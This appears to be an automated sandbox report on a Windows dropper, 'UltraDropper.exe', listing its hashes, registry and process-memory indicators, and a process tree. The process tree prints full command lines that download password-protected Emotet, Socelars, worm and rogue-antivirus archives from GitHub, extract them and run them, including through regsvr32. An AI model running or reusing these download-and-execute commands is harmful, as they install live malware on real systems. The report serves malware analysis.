46e78d76c9c3c0305c6a547525b3ea26f9a20e10fcf534a3886921304a5991b4

Analysis

max time kernel
119s
max time network
123s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
08-11-2024 17:23

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General

Target

UltraDropper.exe
Size

60KB
MD5

b2155129ecaf078020239d57841643a6
SHA1

ac3231da4f91bf288f398d7923d717812e1207ca
SHA256

46e78d76c9c3c0305c6a547525b3ea26f9a20e10fcf534a3886921304a5991b4
SHA512

165557e7f186f3a5b2ed6231cc27f86974bf7d1ee539faf963a092fb6d9012191ad37d4f1ce9de8a69fc1ff37135a0f76898c1d91a8d23b328db49f9e9c4c0c3
SSDEEP

768:syT1o1uw3klvq3fWFRsmP1pNXT4Cabs3l+xdTqOf70QuVORH:syNw5fSDz+s3ls8u70QuVs

Score

3^/10

discovery

Malware Config

Signatures

System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

cmd.execmd.execmd.execmd.execmd.exeUltraDropper.execmd.execmd.execmd.execmd.execmd.exeregsvr32.execmd.execmd.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UltraDropper.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious use of WriteProcessMemory 55 IoCs

Processes:

UltraDropper.execmd.exe

description	pid	process	target process
PID 2552 wrote to memory of 2544	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 2544	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 2544	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 2544	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 2548	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 2548	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 2548	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 2548	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 2556	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 2556	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 2556	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 2556	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 2024	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 2024	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 2024	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 2024	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 1628	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 1628	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 1628	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 1628	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 2036	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 2036	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 2036	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 2036	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 2476	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 2476	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 2476	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 2476	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 1376	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 1376	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 1376	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 1376	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 1576	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 1576	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 1576	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 1576	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 2844	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 2844	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 2844	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 2844	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 2860	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 2860	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 2860	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 2860	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 2884	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 2884	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 2884	2552	UltraDropper.exe	cmd.exe
PID 2552 wrote to memory of 2884	2552	UltraDropper.exe	cmd.exe
PID 2476 wrote to memory of 2864	2476	cmd.exe	regsvr32.exe
PID 2476 wrote to memory of 2864	2476	cmd.exe	regsvr32.exe
PID 2476 wrote to memory of 2864	2476	cmd.exe	regsvr32.exe
PID 2476 wrote to memory of 2864	2476	cmd.exe	regsvr32.exe
PID 2476 wrote to memory of 2864	2476	cmd.exe	regsvr32.exe
PID 2476 wrote to memory of 2864	2476	cmd.exe	regsvr32.exe
PID 2476 wrote to memory of 2864	2476	cmd.exe	regsvr32.exe

C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe
"C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2552
- C:\Windows\SysWOW64\cmd.exe
  cmd /c curl -L -o "C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip" "https://github.com/Princekin/malware-database/raw/main/Emotet/Emotet%20(Epoch5)%20-%2004.11.2022%20.zip" && "C:\Program Files\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2544
- C:\Windows\SysWOW64\cmd.exe
  cmd /c curl -L -o "C:\Users\Admin\AppData\Local\Temp\AntivirusPro2017.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/Antivirus%20Pro%202017.zip" && "C:\Program Files\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\AntivirusPro2017.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2548
- C:\Windows\SysWOW64\cmd.exe
  cmd /c curl -L -o "C:\Users\Admin\AppData\Local\Temp\AntivirusPlatinum.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/Antivirus%20Platinum.zip" && "C:\Program Files\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\AntivirusPlatinum.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2556
- C:\Windows\SysWOW64\cmd.exe
  cmd /c curl -L -o "C:\Users\Admin\AppData\Local\Temp\RegistrySmart.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/RegistrySmart.zip" && "C:\Program Files\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\RegistrySmart.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2024
- C:\Windows\SysWOW64\cmd.exe
  cmd /c curl -L -o "C:\Users\Admin\AppData\Local\Temp\socelars.zip" "https://github.com/Princekin/malware-database/raw/main/Socelars%20Trojan/Socelars%20-%2024.09.2022.zip" && "C:\Program Files\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\socelars.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1628
- C:\Windows\SysWOW64\cmd.exe
  cmd /c curl -L -o "C:\Users\Admin\AppData\Local\Temp\eternity.zip" "https://github.com/Princekin/malware-database/raw/main/Eternity%20Project/Eternity%20Worm%20-%2009.11.2022.zip" && "C:\Program Files\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\eternity.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2036
- C:\Windows\SysWOW64\cmd.exe
  cmd /c regsvr32.exe "C:\Users\Admin\AppData\Local\Temp\emotet.dll"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2476
- - C:\Windows\SysWOW64\regsvr32.exe
    regsvr32.exe "C:\Users\Admin\AppData\Local\Temp\emotet.dll"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2864
- C:\Windows\SysWOW64\cmd.exe
  cmd /c "C:\Users\Admin\AppData\Local\Temp\[email protected]"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1376
- C:\Windows\SysWOW64\cmd.exe
  cmd /c "C:\Users\Admin\AppData\Local\Temp\[email protected]"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1576
- C:\Windows\SysWOW64\cmd.exe
  cmd /c "C:\Users\Admin\AppData\Local\Temp\[email protected]"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2844
- C:\Windows\SysWOW64\cmd.exe
  cmd /c "C:\Users\Admin\AppData\Local\Temp\Install.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2860
- C:\Windows\SysWOW64\cmd.exe
  cmd /c "C:\Users\Admin\AppData\Local\Temp\Worm (1).exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2884

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2552-0-0x0000000000FD0000-0x0000000000FE4000-memory.dmp

Filesize
80KB

Download
memory/2552-2-0x0000000000FD0000-0x0000000000FE4000-memory.dmp

Filesize
80KB

Download